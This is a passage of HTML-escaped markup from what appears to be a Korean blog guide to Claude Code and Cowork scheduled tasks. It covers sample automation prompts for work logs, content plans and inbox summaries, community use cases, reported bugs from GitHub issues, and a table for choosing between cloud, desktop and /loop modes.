        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Cowork 플러그인 생태계 (Google Calendar,
          Gmail, Notion 등)&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;MCP 커넥터 (Slack, Linear, GitHub, Google
          Drive 등)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;기술 수준&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;터미널 불필요, 코드 지식 불필요&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;CLI 기본 조작, Git, cron 개념 이해 권장&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;실행 환경&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Anthropic 클라우드 (로그인된 브라우저/앱)&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Anthropic 클라우드(Cloud) &amp;middot; 로컬
          머신(Desktop &amp;middot; /loop)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 20px 25px; border-left: 5px solid #0066cc; border-radius: 0 8px 8px 0; margin: 25px 0;&quot;&gt;
    &lt;b&gt;언제 어떤 걸 써야 하나&lt;/b&gt;
    &lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;코드 리포지토리가 관련 없는 업무 자동화&lt;/b&gt; (보고서, 브리핑, 콘텐츠) &amp;rarr; &lt;b&gt;Cowork 스케줄&lt;/b&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;터미널을 이미 열고 작업하는 개발 워크플로&lt;/b&gt; &amp;rarr; &lt;b&gt;Claude Code /schedule &amp;middot; /loop&lt;/b&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Git 리포지토리를 직접 읽고 쓰는 자동화&lt;/b&gt; (CI, 문서 동기화, PR 생성) &amp;rarr; &lt;b&gt;Claude Code Cloud&lt;/b&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;로컬 파일 시스템을 직접 건드려야 하는 작업&lt;/b&gt; &amp;rarr; &lt;b&gt;Claude Code Desktop 태스크&lt;/b&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;코딩을 모르는 팀원이 스스로 설정하게 하고 싶다&lt;/b&gt; &amp;rarr; &lt;b&gt;Cowork 스케줄&lt;/b&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비개발자도 쓸 수 있는
    활용 사례&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code Scheduled Tasks는 개발자 도구이지만, &lt;code&gt;/schedule&lt;/code&gt;의
    프롬프트는 자연어다. 코드를 작성하지 않아도 Git 리포지토리가 없는 작업에도 쓸 수 있다. 아래는 개발자가 아닌 팀원도 활용할 수 있는 실전 사례다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 18px; margin: 0 0 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;
    &lt;b&gt;참고:&lt;/b&gt; 아래 사례들은 Claude Code Desktop 태스크 또는 Cloud 태스크(MCP 커넥터 연결 시)로 구성할 수 있다. Git 리포지토리 없이 파일 시스템이나 MCP 도구만으로
    동작하는 예시다.
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 A: 매일
    아침 모닝 브리핑 &amp;mdash; Git 커밋 로그 기반 업무 일지&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;전날 Git 커밋 내역을 읽어 오늘 팀에 공유할 업무 일지를 자동으로 작성한다. Desktop 로컬 태스크로
    구성하면 로컬 리포지토리를 직접 읽을 수 있다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Desktop 태스크 프롬프트 예시 (매일 평일 오전 8시 30분)
오늘 날짜를 확인하고, ~/projects/my-app 폴더에서
어제 하루 동안의 Git 커밋 로그를 조회하라.
커밋 메시지를 바탕으로 아래 형식의 업무 일지를 작성해
~/Documents/daily-log.md 파일에 추가하라.

형식:
## [날짜]
### 완료한 작업
- (커밋 메시지 기반으로 작성)
### 내일 이어갈 사항
- (미완료로 보이는 항목이 있으면 추론해서 작성)

파일이 없으면 새로 만들어라.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 B: 주간
    콘텐츠 캘린더 &amp;mdash; 블로그 &amp;middot; 소셜 미디어 자동화&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 월요일 아침, 그 주에 발행할 블로그 아이디어와 소셜 포스트 초안을 자동으로 생성해 파일로 저장한다. 기획자나
    마케터가 검토만 하면 되는 워크플로다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Desktop 태스크 프롬프트 예시 (매주 월요일 오전 9시)
오늘 날짜를 확인하고, ~/blog/drafts/ 폴더에 있는
가장 최근 발행 글 3개를 읽어라.
기존 글과 주제가 겹치지 않는 블로그 아이디어 3개와
각 아이디어에 대한 트위터(X) 홍보 문구 초안을 작성해
~/blog/weekly-plan-[이번주월요일날짜].md 파일로 저장하라.

파일 형식:
# 이번 주 콘텐츠 계획 [날짜]
## 아이디어 1
- 제목:
- 핵심 내용 (3줄 요약):
- X(트위터) 초안:
## 아이디어 2
...
## 아이디어 3
...&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 C: 이메일
    &amp;middot; 슬랙 받은 편지함 정리 요약&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 커넥터로 Gmail &amp;middot; Slack을 연결한 Cloud 태스크를 사용하면, 매일 아침 전날 미확인
    메시지를 요약해 파일이나 슬랙 채널로 보낼 수 있다. (출처: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/web-scheduled-tasks&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서 &amp;mdash; Cloud Scheduled Tasks&lt;/a&gt;, MCP 커넥터 기능)&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Cloud 태스크 프롬프트 예시 (매일 오전 8시, Gmail &amp;middot; Slack 커넥터 필요)
어제 오후 6시부터 지금까지 수신된
Gmail 미확인 메일과 Slack 멘션을 확인하라.
각각 발신자, 핵심 내용, 필요한 액션을 1~2줄로 요약하고
아래 형식으로 정리하라.

## [날짜] 받은 편지함 요약
### Gmail (N건)
- [발신자] 핵심 내용 / 액션 필요 여부
### Slack 멘션 (N건)
- [채널 &amp;middot; 발신자] 핵심 내용 / 액션 필요 여부

# 중요도가 높다고 판단되는 항목은 맨 위로 올려라.
# 정기 뉴스레터, 자동발송 알림 등 액션이 필요 없는 메일은 제외하라.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 18px; margin: -10px 0 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;
    &lt;b&gt;주의:&lt;/b&gt; Gmail &amp;middot; Slack MCP 커넥터는 claude.ai Settings &amp;gt; Connectors에서 사전 연결이 필요하다. 커넥터 설정 없이는 Cloud 태스크가 메일
    &amp;middot; 메시지에 접근할 수 없다.
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 D: 팀
    프레젠테이션 자동 준비&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 금요일 오후, 그 주에 완료한 작업을 정리해 팀 회의용 발표 초안을 만든다. 로컬 Git 커밋 로그를 바탕으로
    슬라이드 개요를 자동 생성한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Desktop 태스크 프롬프트 예시 (매주 금요일 오후 4시)
이번 주 월요일부터 오늘까지의 Git 커밋 로그를
~/projects/ 폴더 아래 모든 리포지토리에서 조회하라.
완료한 주요 작업, 수정된 기능, 해결된 버그를 정리해
팀 주간 회의용 발표 초안을 작성하라.

출력 파일: ~/Documents/weekly-review-[날짜].md

형식:
# 주간 팀 리뷰 [날짜]
## 이번 주 완료 항목
- (구체적으로)
## 다음 주 계획
- (커밋 메시지에서 &quot;WIP&quot;, &quot;TODO&quot; 등이 보이면 추론)
## 주요 수치 (커밋 수, 수정된 파일 수)

발표자가 5분 안에 말할 수 있을 분량으로 작성하라.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;비개발자를 위한 시작 팁&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;터미널이 익숙하지 않다면 &lt;b&gt;Claude Desktop 앱 &amp;rarr; 사이드바 Schedule&lt;/b&gt;에서 UI로 태스크를 만든다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;프롬프트는 한국어로 작성해도 된다. Claude는 한국어 지시를 그대로 따른다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;처음엔 &quot;Manual&quot; 주기로 만들고 &quot;Run now&quot;를 눌러 결과를 확인한 뒤, 자동 반복으로 전환한다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;파일 경로는 반드시 절대 경로로 지정한다 (&lt;code&gt;~/Documents/&lt;/code&gt; 형식).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ①
      &amp;mdash; 미팅 준비 자동화 (Khe Hy, Substack)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;생산성 작가 Khe Hy가 Substack에 공개한 워크플로: 매일 아침 Google Calendar를 스캔해
      당일 미팅 참석자의 LinkedIn 배경을 조사하고, Gmail 커넥터로 과거 이메일 이력을 끌어와, Granola 커넥터에서 이전 통화 요약을 추출한 뒤, 시각적 구분선이 포함된 Slack 브리핑으로
      통합 전송한다. (출처: &lt;a href=&quot;https://khemaridh.substack.com/p/claude-can-now-run-scheduled-tasks&quot; target=&quot;_blank&quot;
        rel=&quot;noopener&quot;&gt;Khe Hy Substack, 2026-02&lt;/a&gt;)&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #e8f4f8; padding: 12px 15px; border-radius: 8px; font-size: 14px; color: #1a3a52; margin-top: 8px;&quot;&gt;
      &lt;b&gt;핵심:&lt;/b&gt; 비개발자도 Gmail, Google Calendar, Slack MCP 커넥터만 연결하면 수십 분짜리 미팅 준비 작업을 완전 자동화할 수 있다. 단, &lt;b&gt;컴퓨터가 켜진 상태여야
        Desktop 태스크가 실행&lt;/b&gt;된다는 점은 주의.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ②
      &amp;mdash; 스마트폰으로 지시 &amp;rarr; 데스크탑이 일함 (@mikefutia, X)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;X 사용자 @mikefutia가 공개한 DTC 브랜드 자동화: &lt;i&gt;&quot;스마트폰으로 Claude에게 작업을 보내면
        &amp;rarr; 내 데스크탑에서 전체 워크플로를 실행하고 &amp;rarr; 돌아왔을 때 완성된 파일이 있다.&quot;&lt;/i&gt; 경쟁사 분석, 크리에이티브 브리프, 주간 리포트를 스마트폰에서 트리거해 데스크탑이 처리하는
      방식이다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #e8f4f8; padding: 12px 15px; border-radius: 8px; font-size: 14px; color: #1a3a52; margin-top: 8px;&quot;&gt;
      &lt;b&gt;핵심:&lt;/b&gt; Desktop 태스크 + 자연어 프롬프트의 조합으로 코딩 없이 비즈니스 자동화 에이전트를 구성할 수 있다.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ③
      &amp;mdash; 개발자 팀의 야간 CI 트리아지 (Plain English, 2026-03)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 개발팀이 Cloud 스케줄 태스크를 야간에 돌려 CI 실패를 분석하고 아침 스탠드업 전에 수정 제안 초안을
      준비한다. 또한 주간 PR 스윕 에이전트로 새 코드를 자동 리뷰하고 아키텍처 기준을 확인하며, 보안 감사(토큰 노출, 오래된 의존성)도 예약 실행한다. (출처: &lt;a
        href=&quot;https://plainenglish.io/artificial-intelligence/claude-code-s-scheduled-cloud-tasks-change-everything&quot;
        target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plain English, 2026-03&lt;/a&gt;)&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ④
      &amp;mdash; 5개 프로젝트 동시 자동화 (@Mosescreates, X)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;X 사용자 @Mosescreates가 Cowork + 스케줄 태스크 + Projects 기능을 조합해 5개
      프로젝트를 컨텍스트 혼선 없이 동시 운영하는 방식을 공개했다. Projects 기능이 각 스케줄 태스크를 독립된 컨텍스트로 분리해 서로 영향을 주지 않는다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ⑤
      &amp;mdash; &quot;설정 세금&quot; 제거 (thedatawriter, Substack)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 사이언티스트 블로거가 coined한 개념: &lt;b&gt;&quot;setup tax(설정 세금)&quot;&lt;/b&gt; &amp;mdash;
      반복 작업마다 Claude에게 컨텍스트를 다시 설명하는 시간. 20분 &amp;times; 주 3회 = 매달 3시간 이상이 순수 반복 준비에 낭비된다. 스케줄 태스크로 프롬프트를 한 번 정의하면 이 세금이
      제거된다. (출처: &lt;a href=&quot;https://thedatawriter.substack.com/p/the-hidden-power-of-claude-scheduled&quot; target=&quot;_blank&quot;
        rel=&quot;noopener&quot;&gt;thedatawriter Substack, 2026-03&lt;/a&gt;)&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;해당 블로거가 공개한 데이터 사이언티스트 특화 사례:&lt;/p&gt;
    &lt;ul style=&quot;margin: 0 0 8px 20px; padding: 0; font-size: 14px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;매일 아침 직무 시장 스캔 (타겟 도시&amp;middot;원격/하이브리드 조건 필터, 상위 3개 매칭 + LinkedIn 인맥 추출)&lt;/li&gt;
      &lt;li&gt;월간 이력서 vs 채용공고 5개 비교 &amp;rarr; 반복 등장하는 누락 스킬 플래그&lt;/li&gt;
      &lt;li&gt;금요일 완료 vs 계획 비교 리뷰 &amp;rarr; 3주 연속 미루는 항목 자동 경보&lt;/li&gt;
      &lt;li&gt;&lt;code&gt;/loop 10m check the deployment status and tell me what changed&lt;/code&gt; &amp;mdash; 배포 모니터링&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ⑥
      &amp;mdash; 뉴스레터 순위 경쟁 인텔리전스&amp;nbsp;&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude in Chrome으로 Reletter의 Substack 차트를 스크래핑해 상위 250개 뉴스레터를
      순위&amp;middot;이름&amp;middot;날짜&amp;middot;유무료 여부로 CSV 추출. 이어서 Cowork 태스크가 데이터셋을 처리해 &quot;가장 순위가 오른 뉴스레터&quot;, &quot;신규 진입&quot;, &quot;순위 하락&quot; 비교 리포트를
      자동 생성한다. (출처: &lt;a href=&quot;https://artificialcorner.com/p/claude-automates&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Artificial
        Corner, 2026-03&lt;/a&gt;)&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #fff3cd; border-left: 3px solid #ffc107; padding: 10px 12px; border-radius: 0 6px 6px 0; font-size: 13px; margin-top: 8px;&quot;&gt;
      &lt;b&gt;비용 주의:&lt;/b&gt; 이 블로거는 &quot;$20 Pro 플랜은 스케줄 태스크를 진지하게 쓰기엔 금방 한도에 도달한다. 무거운 워크플로엔 $100~$200 플랜이 현실적&quot;이라고 밝혔다.
      고빈도&amp;middot;고복잡도 태스크를 계획 중이라면 플랜 비용을 미리 고려해야 한다.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;발견된 버그 &amp;amp; 주의사항 (GitHub Issues 기반, 2026-03 기준)&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #36131] Cowork 탭을 먼저 열어야 VM이 시작된다:&lt;/b&gt; 태스크가 실행되는 실제 조건은 &quot;Cowork 탭 포커스&quot;가
        아니라 &lt;b&gt;&quot;Cowork VM(Vmmem)이 실행 중&quot;&lt;/b&gt;인 것이다. Claude Desktop 실행만으로는 VM이 자동 시작되지 않는다. 매 세션 시작 시 Cowork 탭을 한 번 열어두면 이후
        Chat 탭으로 전환해도 태스크가 정상 실행된다. (출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/36131&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #36131&lt;/a&gt;, 2026-03-19)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #33586] DST 전환 시 무한 루프 + 서비스 중단:&lt;/b&gt; 2026년 3월 8~9일 일광절약시간(DST) 전환 때
        스케줄러가 무한 루프에 빠져 Anthropic이 스케줄 태스크 전체를 일시 비활성화했다. v1.1.5749 패치로 약 75분 만에 복구. 시스템적 시간대 버그(Issue #24213)가 이전부터
        존재하며 중복 이슈로 닫힌 상태다. (출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/33586&quot; target=&quot;_blank&quot;
          rel=&quot;noopener&quot;&gt;GitHub Issue #33586&lt;/a&gt;)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #30092] 브라우저 캐시 삭제 시 태스크 전체 소실:&lt;/b&gt; 캐시를 지우거나 앱 업데이트 후 모든 스케줄 태스크와 대화 이력이
        삭제될 수 있다. 중요한 태스크 프롬프트는 외부 파일에 별도 백업 권장. (출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/30092&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #30092&lt;/a&gt;)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #29022] Windows에서 &lt;code&gt;/schedule&lt;/code&gt; 스킬 주입 실패:&lt;/b&gt; Windows 환경에서
        &lt;code&gt;create_scheduled_task&lt;/code&gt; 도구가 세션 컨텍스트에 주입되지 않아 &lt;code&gt;/schedule&lt;/code&gt; 스킬이 실행되지 않는 버그가 보고됐다.
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비밀키(Secrets) 관리:&lt;/b&gt; Cloud 태스크에서 API 키를 다룰 때 &lt;code&gt;.env&lt;/code&gt; 파일을 직접 노출하지 말고,
        Cloudflare Workers&amp;middot;Fly.io&amp;middot;Vercel 같은 엣지 프로바이더에 MCP 서버를 배포해 키를 격리하는 것이 권장된다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;&quot;자동화 번아웃&quot; 경고:&lt;/b&gt; Khe Hy Substack 댓글에서 커뮤니티 멤버가 제기한 우려 &amp;mdash; AI 자동화 헤비유저일수록
        생산성과 번아웃이 동시에 높아지는 경향이 있으므로, 스케줄 자동화에 의도적인 한계를 설정할 것을 권고한다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;GitHub Actions 대안:&lt;/b&gt; Gigi Sayfan(개발자)은 반복 작업에 GitHub Actions + Claude Code
        연동을 대안으로 제안했다. 더 세밀한 이벤트 트리거(push, PR 오픈 등)가 필요한 경우에 적합하다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 9 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 결론&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 Claude Code를 &quot;내가 시키면 하는 도구&quot;에서 &lt;b&gt;&quot;알아서 반복하는
      동료&quot;&lt;/b&gt;로 바꾼다. X에서 수백만 뷰를 기록한 이유가 있다 &amp;mdash; 노트북을 닫아도 CI를 고치고, 문서를 업데이트하고, 다른 언어 라이브러리를 동기화하는 AI는 개발자들이 오래 원했던 것이다.
  &lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떤 방식을 선택할
    것인가&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;추천 방식&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;노트북 꺼도 돌아가야 하는 CI/CD, 문서 업데이트&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloud&lt;/b&gt; (&lt;code&gt;/schedule&lt;/code&gt;)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 파일을 직접 건드려야 하는 빌드/테스트&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Desktop 로컬 태스크&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지금 이 세션에서 배포 모니터링, 임시 체크&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;커넥터(Slack, Linear) 연동이 필요한 자동화&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloud&lt;/b&gt; (커넥터 포함)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
